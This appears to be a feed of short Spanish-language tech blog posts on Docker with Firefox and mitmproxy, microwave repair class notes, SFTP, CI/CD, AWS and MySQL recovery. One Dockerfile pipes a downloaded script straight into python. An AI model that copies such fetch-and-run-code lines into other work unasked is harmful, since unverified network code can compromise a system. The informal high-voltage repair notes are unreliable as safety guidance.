<p><a href="https://m.youtube.com/playlist?list=PLUaB-1hjhk8FE_XZ87vPPSfHqb6OcM0cF">https://m.youtube.com/playlist?list=PLUaB-1hjhk8FE_XZ87vPPSfHqb6OcM0cF</a></p>
-
Arreglar k8s cluster networking y DNS: TODO
https://imlauera.github.io/post/como_arreglar_k8s_cluster_networking_and_dns/
Fri, 20 Sep 2024 16:48:58 -0300
https://imlauera.github.io/post/como_arreglar_k8s_cluster_networking_and_dns/
<blockquote>
<p>A pod on a new node (bare metal, rancher, rke2; behind NAT) is having trouble connecting to the DNS server, as well as to any other clusterIP services (timeout). (The same issue is also happening on a node in the same cluster from a budget cloud provider. But let’s focus on the bare metal node first.) Please provide a short list of the top causes and their solutions. If you happen to solve our issue that way, if you’re the first person to do that, you will get the payment without any additional effort. (But we also have more (interesting, challenging) things to do for capable candidates!)</p>
-
Personal: "El precio no se toca"
https://imlauera.github.io/post/el_precio_no_se_toca/
Fri, 20 Sep 2024 11:21:25 -0300
https://imlauera.github.io/post/el_precio_no_se_toca/
<h4 id="publicidad-de-hace-1-mes">Publicidad de hace 1 mes:</h4>
<p><img src="https://imlauera.github.io/img/personal_precio.png" alt=""></p>
<h4 id="precio-actual">Precio actual:</h4>
<p><img src="https://imlauera.github.io/img/personal_estafa2.png" alt=""></p>
<h4 id="desde-el-04092024-hasta-el-30092024">Desde el 04/09/2024 hasta el 30/09/2024</h4>
<p>XDD</p>
<h2 id="ni-siquiera-respetaron-el-rango-de-tiempo-que-escribieron-abajo-con-letra-chiquitita">Ni siquiera respetaron el rango de tiempo que escribieron abajo con letra chiquitita.</h2>
-
Instalando Mitmproxy certificado en firefox con docker
https://imlauera.github.io/post/mitmproxy_cert_firefox_docker/
Fri, 20 Sep 2024 10:58:37 -0300
https://imlauera.github.io/post/mitmproxy_cert_firefox_docker/
<p>Dockerfile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>FROM apache/airflow:2.1.4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>USER root
</span></span><span style="display:flex;"><span>RUN apt-get update <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> apt-get install -y --no-install-recommends <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> ca-certificates curl firefox-esr <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> rm -fr /var/lib/apt/lists/* <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> curl -L https://github.com/mozilla/geckodriver/releases/download/v0.30.0/geckodriver-v0.30.0-linux64.tar.gz | tar xz -C /usr/local/bin <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> apt-get purge -y ca-certificates curl
</span></span><span style="display:flex;"><span>USER airflow
</span></span></code></pre></div><h4 id="verificación">Verificación</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker build -t abc:1 .
</span></span><span style="display:flex;"><span>$ docker run --rm -it --entrypoint<span style="color:#f92672">=</span>which abc:1 firefox
</span></span><span style="display:flex;"><span>/usr/bin/firefox
</span></span><span style="display:flex;"><span>$ docker run --rm -it --entrypoint<span style="color:#f92672">=</span>which abc:1 geckodriver
</span></span><span style="display:flex;"><span>/usr/local/bin/geckodriver
</span></span></code></pre></div><p>Dockerfile:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># firefox image, we're extending with mitmproxy</span>
</span></span><span style="display:flex;"><span>FROM jlesage/firefox
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>RUN apk add --no-cache <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> g++ <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> py-pip <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libffi <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libffi-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libjpeg-turbo <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libjpeg-turbo-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxml2 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxml2-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxslt <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxslt-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> openssl <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> openssl-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> python <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> python-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> zlib <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> zlib-dev
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>RUN LDFLAGS<span style="color:#f92672">=</span>-L/lib pip install mitmproxy<span style="color:#f92672">==</span>0.18.2 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> apk del --purge <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> g++ <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> py-pip <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libffi-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libjpeg-turbo-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxml2-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> libxslt-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> openssl-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> python-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> zlib-dev <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> rm -rf ~/.cache/pip <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> adduser -u <span style="color:#ae81ff">7799</span> -D mitmproxy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>RUN wget https://bootstrap.pypa.io/ez_setup.py -O - | python <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> easy_install pip <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">&&</span> pip install mitmproxy<span style="color:#f92672">==</span>0.18.2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>COPY rootfs/ /
</span></span></code></pre></div>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 12) - Microondas Repaso: Componentes con más fallas. Por qué existen las fuentes. Etapa control. Etapa Potencia. Tipos transformadores. Regulador voltaje. Diodo zener. Puente rectificador. MOSFET. CC pura: punsante. Capacitores suben voltaje. Diagrama fuente switching. No existe transformador en CC. Oscilador. Medir capacitor. Estrella lavarropas. Octoacoplador. Todas las fuentes tienen el mismo objetivo. Electricidad y magnetismo.Imanes: si se rompen hay que cambiar. Como medir transformadores. Profesor robaron herramientas. Compañero arregló parlante con soldadura fácil. Siempre juntar la máxima cantidad de información posible. Dividir la etapa de control y de potencia para identificar falla más rápido. Donde estan los tornillos dependiendo el microondas. Si o si hay que comprar fusible de alta tensión. Componentes MO: Tiene 2 fusibles para alta y para baja. Forzador de aire elicoidal. El que está arriba es un fusible cualquiera pero no todos son del mismo tamaño. Hay que conseguir fusible del mismo amperage y del mismo tamaño. Switch de puertas no son todos iguales en los microondas algunos traen 2, otros 3, otros 4. Algunos microondas traen térmicos arriba de la parte del horno, algunos arriba del magnetrón, no todos tienen. Switch sistema de seguridad para que no funcione cuando se corte la puerta. Si se cortó el fusible en la parte de baja tampoco no anda todo. Si uno de los switch ya juntó basura tampoco anda todo etc. Lo más común que se cambia en un microondas: magnetrón, fusible de baja o de alta, capacitor y el diodo. Función de la fuente: bajar la tensión y rectificar. La placa maneja muchísima potencia. Heladera . Luego de la entrada de 220 está el transformador. Para una fuente de 3 voltios puedo poner transformador de 12 voltios con un regulador de voltaje de 12 a 3, si recalienta demasiado el regulador de voltaje, hay que poner uno de 12 a 9 y otro al lado de 9 a 3. El único diodo que regula voltaje: diodo zener. Los últimos 2 dígitos del regulador te dice el voltaje. Después de bajar el voltaje hay que poner un puente rectificador de onda completa. Hay 4 diodos en un puente rectificador de onda completa. Como pasar de corriente alterna a continua: transformador usa puente rectificador, regulador de voltaje. Hay reguladores programables para la fuente switching que le hace trabajar al otocoplador y también tiene un componente totalmente distinto. Diodos dobles: cátodo común ánodo común. Con el rectificador de 15 bajó a 12. Diodos tienen caída de tensión. Corriente positiva del ánodo atraviesa el cátodo.Corriente negativa entra por el cátodo y atraviesa el ánodo. Luego del diodo hay una corriente continua con pulsos. Capacitor polarizado vuelve la corriente continua con pulsos a pura. Medir capacitor debe dar los faradios que dice. Hay lugares en donde poner el capacitor tampoco es bueno porque de ser puntante queda con un pequeña ondita, con bobina y capacitores se mejora eso. Si a una fuente capacisitva resistiva le agregas un regulador queda igual que una lineal switching pero no te puede dar mucho amper. Lo primero encontramos fuente lineal: transformador. Lo primero que encontramos en fuente switching: rectificador, en la switching no nos sirve los 50 hertz. Switching: diodo rectificador, capacitor antes transformador. Ningún transformador trabaja en CC hay que dotarlo de generador de pulsos. Oscilador y aparte un mosfet, porque el oscilador no soporta los 311 voltios. Si no me trabaja la parte secundaria tengo que medir mosfet, si el mosfet está bien entonces es el oscilador. Ahora en las fuentes switching viene el mosfet adentro. Controlador oscilador tomará los 311 voltios positivo con puesta a tierra y mandará pulsos para que de esa forma pueda trabajar el transformador en la corriente continua. Por convenio la corriente va del positivo al negativo pero no es así el que va de positivo al negativo es la tensión. La corriente va del negativo al positivo, pero así se explicó. Hay profesores que hablan de corriente pero en realidad se refieren a la tensión. Es la tensión no la corriente. En switching: CC no podemos bajar de 311 a 3 voltios, no se puede usar capacitores porque recalientan, tenemos que entrar en el transformador para tenemos que crear pulsos y usar un oscilador. El octoaclopador regula el oscildor. Finalidad de fuente: bajar tensión y rectificar porque alterna aunque sea 3 voltios no te sirve. Un sábado 1 de la tarde cerraron todas las tiendas y feriado lardo desde el miércoles hasta el jueves, si tengo un transformador de 4 voltios le pongo, le hago el puente rectificador y le hago bajar el voltaje se me quemó la fuente busco un cargador de celular de 5 voltios le pongo la resistencia le bajo a 3, el chip ya funciona, pero todavía me falta una fuente de 24 voltios porque sino no puedo hacer funcionar mi relay. La bobina del relay pin 2 y 3 sirve para abrir y cerrar el platino. Los conductores tienen resistencia caida de tension. Relay: 1 al 4: corto. 1 al 5: abierto. 2 al 3 impedancia. Medir el platino: 1 y 4 cerrado. 1 y 5 abierto, sino puede ser que el platino esté sucio. A veces tiene 1 pernito en el medio por eso tratemos de buscar llave con agujerito en el medio, si tenés llave ciega no sirve. Transistor: base colector emisor. La carga: transformador, magnetrón, lo que hace uso de la corriente. Etapa de potencia se inicia en el transformador. El magnetrón tiene una saliente tiene un dedal con un agujerito en el medio porque el magnetrón es el encargado de acumular electrones de ponerlos juntos y disparalos El campo magnético del imán hace que los electrones queden en fila. 1 primario 2 secundarios. Lo primero que hacemos desconectar el transformador. El cliente se queja de la plata como siempre porque dice cambiaste una pavadita y me cobrate carísimo. Lo difícil es el análisis. Presostato por la presión del agua se cierra. El termostato por la temperatura . Los 3 tienen 3 cables el que está abierto se cierra y el que está cerrado se abre. Los 3 tienen 3 contactos, pero uno es por presión, temperatura y electromagnético. Termostato tiene una termocupla que varía la tensión de la batería y ahí pega o no un electroimán. Si la lámpara se encendió tengo que controlar desde el transformador al otro lado. Para sacar 220 de una batería necesito un octoacoplador y un oscilador. No hay forma de probar el magnetrón: El magnetrón sólo trabaja con medio ciclo y no se puede probar con 220 porque necesita 2000. Nunca probar el magnetrón arriba de la mesa. Hay formas de medir el magnetrón pero es muy difícil. El compañero se va sin decir CHAU (Hora 01:58:30) XD. Los técnicos miden la fuente le da los 311 voltios en el capacitor inmediatamente sacan el magnetrón y ponen otro, ahí recién miran el octoacomplador, el regulador, recién ahí. Magnetrón es metálico una parte tiene parte de porcelana (aislante). Con 3000 voltios trabaja el filamento. Los imanes del magnetrón NO se compran, hay que sacar y guardar. El filamento genera los electrones. Una vez que se rompió el filamento CHAU. Si pongo el tester en las dos patitas y toco el chassis y queda mudo quiere decir que está bueno, si suena quiere decir que está en corto, o sea que el filamento me marcó que estaba bien, pero cuando yo voy a revisar resulta que cuando yo toco una de las puntas que va para el filamento y toco cualquier parte de la chapa del magnetrón me da continuidad quiere decir que está malo porque tiene que estar aislado. Al medir el magnetrón si hay sonido es porque está en corto. Si te da bien tenés que mirar imanes. El imán no sirve roto. Cuando sacás un magnetrón si o si tenemos que volver a poner en el lugar y con la puerta cerrada. En el bobinado primario vamos a tener en el conductor grueso 3 VOLTIOS. Cuando se trata de bobina siempre hay un principio y final. Ninguno tiene que tener continuidad con el chasis excepto el de alta. Lo que se bobinaba mucho: bomba de agua es la bobina la más para hacer, cortadoras de cesped, motor lavarropas cuando no existía el automatico se mandaba a bobinar. El transformador del microondas es de hierro al silicio. LOS 2000 VOLTIOS NO LE SIRVE AL MAGNETRÓN, NECESITA 4000 VOLTIOS. Tenemos que hacer un circuito con un capacitor y un diodo. Muchos dicen que la pipeta de este magnetrón es cancerígera. Acá está la malla dorada bronce que algunos dicen que cuando está sucio no anda. Cuando esa elicoidal no funciona no hay ventilación esto sobre calienta acá arriba suele ir un protector térmico se levanta entonces corta hasta que se enfríe. Hay símbología de dinstinta de tierra para alterna y para continua. Manejar un capacitor de un microondas que está apagado o que está acá y se desenchufó no debería traer peligro, pero el problema es que nosotros no podemos saber cuál es el estado NO SABEMOS SI ESA RESISTENCIA DE DESOLDÓ INTERNAMENTE SE CORTÓ BAJÓ SU VALOR. Siempre cortocircuitear. El diodo del MO trabaja de forma inversa va el cátodo a tierra. En un microondas el diodo puede aparecer en cualquier lado pero siempre tiene que estar a la salida, en un extremo el capacitor debe estar sólo en el extremo que no va a tierra. Uno de la alta va solo con el fusible, en el otro extremo si van todos. En el otro extremo va el diodo el capacitor y el magnetrón van juntos. En los últimos 5 minutos termina explicando como conectar una bornera aislada, es un imaginario para interpretar la conexión: son 4 conexiones pero aparecen 3 cables porque uno se toma como base del otro, si yo a ese mando todo al unir todo junto voy a tener 4 cables son 4 conexiones: capacitor, punta del de baja, diodo, magnetrón, en cambio del otro lado hay 1 sóla que es de alta ESTO GRABENLO EN SUS CEREBROS. Muchos dicen que la porquería más grande que colocaron en las hidros: la válvula de presión tiene un componente que activa el switch eso jode el orrin, porque le hace juntar presión para adentro. Hay que cortar por llave y hay que poner una abrazadera en el gatillo. A el lo que le paso es que le debaja un rato y no arrancaba era el termo del fusible, abrí el contacto y estaba oxidado el platino. Si vos le decís le soldé un cablecito no te pagan.
https://imlauera.github.io/post/electro12_microondas/
Thu, 19 Sep 2024 22:55:49 -0300
https://imlauera.github.io/post/electro12_microondas/
<h4 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube</h4>
<p><a href="https://youtu.be/kCyNtZ1t94s">https://youtu.be/kCyNtZ1t94s</a></p>
<h4 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=kCyNtZ1t94s">https://redirect.invidious.io/watch?v=kCyNtZ1t94s</a></p>
<h4 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo</h4>
<p><a href="https://vocaroo.com/19Vtiubsk6Mq">https://vocaroo.com/19Vtiubsk6Mq</a></p>
<h3 id="medir-relay">Medir relay</h3>
<p>1-4 (Normalmente cerrado) debe dar corto<br>
1-5 (Normalmente abierto)<br>
2-3 debe marcar impedancia</p>
<p><strong>El 99% de los técnicos sacan el chip, miden la fuente le da 311 voltios en el capacitor en el filtro, sacan el oscilador.</strong> Si no le anduvo ahí recién mirará el octoacoplador, el regulador el controlador.</p>
-
Upwork scams
https://imlauera.github.io/post/upwork_scams/
Thu, 19 Sep 2024 19:41:58 -0300
https://imlauera.github.io/post/upwork_scams/
<p>Para evitar la mayoría de estafas en UpWork es recomendable usar los siguientes filtros.</p>
<p>Paso 1:</p>
<p>Información de clientes: Payment verified (pago verificado)<br>
Client history (historial de clientes): 1 to 9 hires or 10+ hires (De 1 a 9 contratados o más de 10 contratados)<br>
Fijate las reseñas de los freelancers que trabajaron con ese cliente.</p>
<p>Paso 2:</p>
<p>Alguna de las cosas que indican una mala señal son clientes que tardan en contestar o que nunca están felices con el trabajo que hacen los demás freelancers. O los clientes que siempre te piden hacer más trabajo.</p>
-
Codeigniter
https://imlauera.github.io/post/codeigniter/
Thu, 19 Sep 2024 09:12:55 -0300
https://imlauera.github.io/post/codeigniter/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y composer
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>composer create-project codeigniter4/appstarter ci-news
</span></span><span style="display:flex;"><span>CI_ENVIRONMENT <span style="color:#f92672">=</span> development
</span></span><span style="display:flex;"><span>php spark serve
</span></span></code></pre></div><h3 id="crear-migraciones">Crear migraciones</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>php spark migrate:create blog
</span></span><span style="display:flex;"><span>php spark migrate:refresh
</span></span><span style="display:flex;"><span>php spark migrate:status
</span></span></code></pre></div>
-
SFTP setup
https://imlauera.github.io/post/sftp/
Wed, 18 Sep 2024 21:05:46 -0300
https://imlauera.github.io/post/sftp/
<p><a href="https://www.youtube.com/watch?v=pS_mY4Rfsg8">https://www.youtube.com/watch?v=pS_mY4Rfsg8</a></p>
<p><a href="https://m.youtube.com/watch?v=XhnqJ4S7C10">https://m.youtube.com/watch?v=XhnqJ4S7C10</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y ssh
</span></span><span style="display:flex;"><span>sudo systemctl enable ssh
</span></span><span style="display:flex;"><span>sudo systemctl start ssh
</span></span><span style="display:flex;"><span>sudo addgroup sftp
</span></span><span style="display:flex;"><span>sudo adduser walu
</span></span><span style="display:flex;"><span>sudo usermod -a -G sftp walu
</span></span><span style="display:flex;"><span>sudo mkdir -p /var/sftp/files
</span></span><span style="display:flex;"><span>sudo chown root:root /var/sftp
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">755</span> /var/sftp
</span></span><span style="display:flex;"><span>sudo chown walu:walu /var/sftp/files
</span></span></code></pre></div><p>Dentro de <code>sudo vim /etc/ssh/sshd_config</code> al final insertar:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Match User walu
</span></span><span style="display:flex;"><span>ChrootDirectory /var/sftp
</span></span><span style="display:flex;"><span>X11Forwarding no
</span></span><span style="display:flex;"><span>AllowTcpForwarding no
</span></span><span style="display:flex;"><span>ForceCommand internal-sftp
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart ssh
</span></span></code></pre></div><p>Eso es todo, la conexión se realiza por el puerto 22.</p>
-
Gitlab runner: CI/CDpipelines
https://imlauera.github.io/post/gitlab_runner/
Wed, 18 Sep 2024 20:04:32 -0300
https://imlauera.github.io/post/gitlab_runner/
<p>Es como hacer un <code>docker build . -t my-web-app -f docker/Dockerfile</code> pero hecho por gitlab automáticamente.</p>
<p><a href="https://www.youtube.com/watch?v=qP8kir2GUgo">https://www.youtube.com/watch?v=qP8kir2GUgo</a></p>
<h4 id="pipeline-scripts">Pipeline scripts</h4>
<h4 id="stages--jobs">Stages & jobs</h4>
<h4 id="docker-images">Docker images</h4>
<p>CI = Continuous Integration</p>
<p>Creá una cuenta en Gitlab. Creá un proyecto. Cloná el repositorio y creá una archivo llamado <code>.gitlab-ci.yml</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>create_file:
</span></span><span style="display:flex;"><span> image: alpine
</span></span><span style="display:flex;"><span> script:
</span></span><span style="display:flex;"><span> - echo <span style="color:#e6db74">"Building ..."</span>
</span></span><span style="display:flex;"><span> - mkdir build
</span></span><span style="display:flex;"><span> - touch build/somefile.txt
</span></span></code></pre></div><p>Cuando pusheas el archivo verás un ícono running job. Bajo de pipeline habrá un dialogo llamado <code>test</code> dentro <code>create_file</code>. A la derecha te dirá la duración y el runner que está ejecutando ese trabajo.</p>
-
Jenkins
https://imlauera.github.io/post/jenkins/
Wed, 18 Sep 2024 20:03:37 -0300
https://imlauera.github.io/post/jenkins/
<p>Jenkins es como <a href="https://imlauera.github.io/post/gitlab_runner/">gitlab runner</a>.</p>
<p><a href="https://github.com/jaswanthnasa/Jaswanth-DevOps-Documentations/blob/master/jenkins.txt">https://github.com/jaswanthnasa/Jaswanth-DevOps-Documentations/blob/master/jenkins.txt</a></p>
<blockquote>
<p>We are a small, dynamic startup in the cyber field. We’re looking for a skilled DevOps Engineer to join our team on a contract basis. The ideal candidate will be responsible for setting up Jenkins, managing and monitoring our AWS infrastructure, and overseeing the deployment processes. Key Responsibilities:</p>
<ul>
<li>Set up and configure Jenkins for CI/CD pipelines.</li>
<li>Manage and optimize AWS infrastructure.</li>
<li>Ensure smooth and automated deployment processes.</li>
<li>Monitor infrastructure performance and implement improvements.</li>
<li>Collaborate with developers to streamline workflows and deployment.</li>
</ul>
</blockquote>
<p><a href="https://www.youtube.com/watch?v=6YZvp2GwT0A">https://www.youtube.com/watch?v=6YZvp2GwT0A</a></p>
-
WiFi Captive Portal Setup with Raspberry Pi and Netgear Orbi Router
https://imlauera.github.io/post/wifi_captive_portal_setup_with_raspberry_pi_and_netgear_orbi_router/
Wed, 18 Sep 2024 16:43:32 -0300
https://imlauera.github.io/post/wifi_captive_portal_setup_with_raspberry_pi_and_netgear_orbi_router/
<p><a href="https://www.upwork.com/jobs/WiFi-Captive-Portal-Setup-with-Raspberry-and-Netgear-Orbi-Router_~021836358910303710851/?referrer_url_path=find_work_home">https://www.upwork.com/jobs/WiFi-Captive-Portal-Setup-with-Raspberry-and-Netgear-Orbi-Router_~021836358910303710851/?referrer_url_path=find_work_home</a></p>
<p>Se busca un profesional independiente capacitado para ayudar a configurar un portal cautivo WiFi básico utilizando una Raspberry Pi como servidor DNS/puerta de enlace del portal cautivo y un enrutador Netgear Orbi. Puede aprovechar NoDogsplash o lo que sea necesario para configurarlo. No es necesario realizar ningún trabajo de diseño, ya que lo haremos por nuestra cuenta una vez que el portal esté configurado. Criterios para el trabajo:</p>
<ul>
<li>Configurar un portal cautivo wifi en una Raspberry Pi 4, que se conecta a mi Netgear Orbi Wifi Mesh.</li>
<li>Asegúrese de que las reglas del firewall capturen todo el tráfico de manera efectiva y lo pasen a través de una página de presentación básica con un botón de conexión.</li>
<li>Configurar la Raspberry Pi para que actúe como servidor DNS/puerta de enlace para el portal.</li>
<li>Soporte para probar/verificar que está funcionando.</li>
</ul>
-
Hostear tu sitio en AWS
https://imlauera.github.io/post/hostear_en_aws/
Wed, 18 Sep 2024 15:26:33 -0300
https://imlauera.github.io/post/hostear_en_aws/
<p><a href="https://www.youtube.com/watch?v=_LIuNAu5Ktc">https://www.youtube.com/watch?v=_LIuNAu5Ktc</a></p>
<p><a href="https://www.youtube.com/watch?v=gWVIIU1ev0Y">https://www.youtube.com/watch?v=gWVIIU1ev0Y</a></p>
<p><a href="https://www.youtube.com/watch?v=lHgxFfioaR4">https://www.youtube.com/watch?v=lHgxFfioaR4</a></p>
<ol>
<li>Logueate en la consola AWS.</li>
<li>Crea una máquina <code>ec2</code>.</li>
<li>Configurá security group(ssh -22 admin only)(80 - for normal traffic)</li>
<li>Conectate a la máquina ec2.</li>
<li>Instalá el servidor web <code>httpd</code>(apache) o podés instalar ngnix para correr la aplicación web.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo su
</span></span><span style="display:flex;"><span>yum update -y
</span></span><span style="display:flex;"><span>yum install httpd -y
</span></span><span style="display:flex;"><span>cd /var/www/html
</span></span><span style="display:flex;"><span>service httpd start
</span></span></code></pre></div><ol start="6">
<li>Creá tu página en ese directorio.</li>
<li>Acedé a tu página desde el navegador usando la IP pública de la máquina ec2 o del DNS.</li>
</ol>
-
Restaurar la base de datos MySQL desde archivos .ibd y .frm
https://imlauera.github.io/post/como_convertir_archivos_ibd_frm_a_sql/
Wed, 18 Sep 2024 14:15:01 -0300
https://imlauera.github.io/post/como_convertir_archivos_ibd_frm_a_sql/
<p><a href="https://stackoverflow.com/questions/26868956/restore-table-structure-from-frm-and-ibd-files">https://stackoverflow.com/questions/26868956/restore-table-structure-from-frm-and-ibd-files</a></p>
<p><a href="https://stackoverflow.com/questions/10934745/restore-the-mysql-database-from-frm-files">https://stackoverflow.com/questions/10934745/restore-the-mysql-database-from-frm-files</a></p>
<p><a href="https://stackoverflow.com/questions/51997127/restore-mysql-database-using-only-frm-and-ibd-files">https://stackoverflow.com/questions/51997127/restore-mysql-database-using-only-frm-and-ibd-files</a></p>
<p><a href="https://stackoverflow.com/questions/26868956/restore-table-structure-from-frm-and-ibd-files">https://stackoverflow.com/questions/26868956/restore-table-structure-from-frm-and-ibd-files</a></p>
<p>Interesante: <a href="https://stackoverflow.com/questions/6804397/how-do-i-recreate-an-frm-file-for-an-mysql-innodb-table-with-only-the-ibdata-and">https://stackoverflow.com/questions/6804397/how-do-i-recreate-an-frm-file-for-an-mysql-innodb-table-with-only-the-ibdata-and</a></p>
<p><a href="https://stackoverflow.com/questions/75090681/restore-table-from-frm-and-ibd-file">https://stackoverflow.com/questions/75090681/restore-table-from-frm-and-ibd-file</a></p>
<p><a href="https://community.spiceworks.com/t/recover-mysql-database-from-frm-and-ibd-files/1014394">https://community.spiceworks.com/t/recover-mysql-database-from-frm-and-ibd-files/1014394</a></p>
<p><a href="https://dba.stackexchange.com/questions/282448/recreating-database-from-ibd-files-no-frm">https://dba.stackexchange.com/questions/282448/recreating-database-from-ibd-files-no-frm</a></p>
<p><a href="https://dba.stackexchange.com/questions/16875/restore-table-from-frm-and-ibd-file">https://dba.stackexchange.com/questions/16875/restore-table-from-frm-and-ibd-file</a></p>
<p><a href="https://dba.stackexchange.com/questions/316354/restoring-databases-using-only-frm-ibd-files">https://dba.stackexchange.com/questions/316354/restoring-databases-using-only-frm-ibd-files</a></p>
<p><a href="https://dba.stackexchange.com/questions/71596/restoring-mysql-tables-from-ibd-frm-and-mysqllogbin-files">https://dba.stackexchange.com/questions/71596/restoring-mysql-tables-from-ibd-frm-and-mysqllogbin-files</a></p>
<p><a href="https://dba.stackexchange.com/questions/241260/mysql-innodb-recover-from-frm-and-ibd">https://dba.stackexchange.com/questions/241260/mysql-innodb-recover-from-frm-and-ibd</a></p>
<p><a href="https://www.stellarinfo.com/article/restore-data-from-frm-ibd-files.php">https://www.stellarinfo.com/article/restore-data-from-frm-ibd-files.php</a></p>
<p><a href="https://serverfault.com/questions/1050154/how-to-restore-mysql-database-from-frm-and-ibd-files-on-localhost">https://serverfault.com/questions/1050154/how-to-restore-mysql-database-from-frm-and-ibd-files-on-localhost</a></p>
<p><a href="https://serverfault.com/questions/115260/if-i-have-the-mysql-frm-myd-and-myi-files-can-i-recreate-the-db-without-sq">https://serverfault.com/questions/115260/if-i-have-the-mysql-frm-myd-and-myi-files-can-i-recreate-the-db-without-sq</a></p>
<p><a href="https://serverfault.com/questions/841983/how-to-combine-frm-and-ibd-file-in-mysql">https://serverfault.com/questions/841983/how-to-combine-frm-and-ibd-file-in-mysql</a></p>
<p><a href="https://serverfault.com/questions/364391/huge-sql-xxxx-xxxx-ibd-files-in-mysql-data-folder">https://serverfault.com/questions/364391/huge-sql-xxxx-xxxx-ibd-files-in-mysql-data-folder</a></p>
<p><a href="https://serverfault.com/questions/225092/import-from-sql-into-mysql-ibd-files-missing">https://serverfault.com/questions/225092/import-from-sql-into-mysql-ibd-files-missing</a></p>
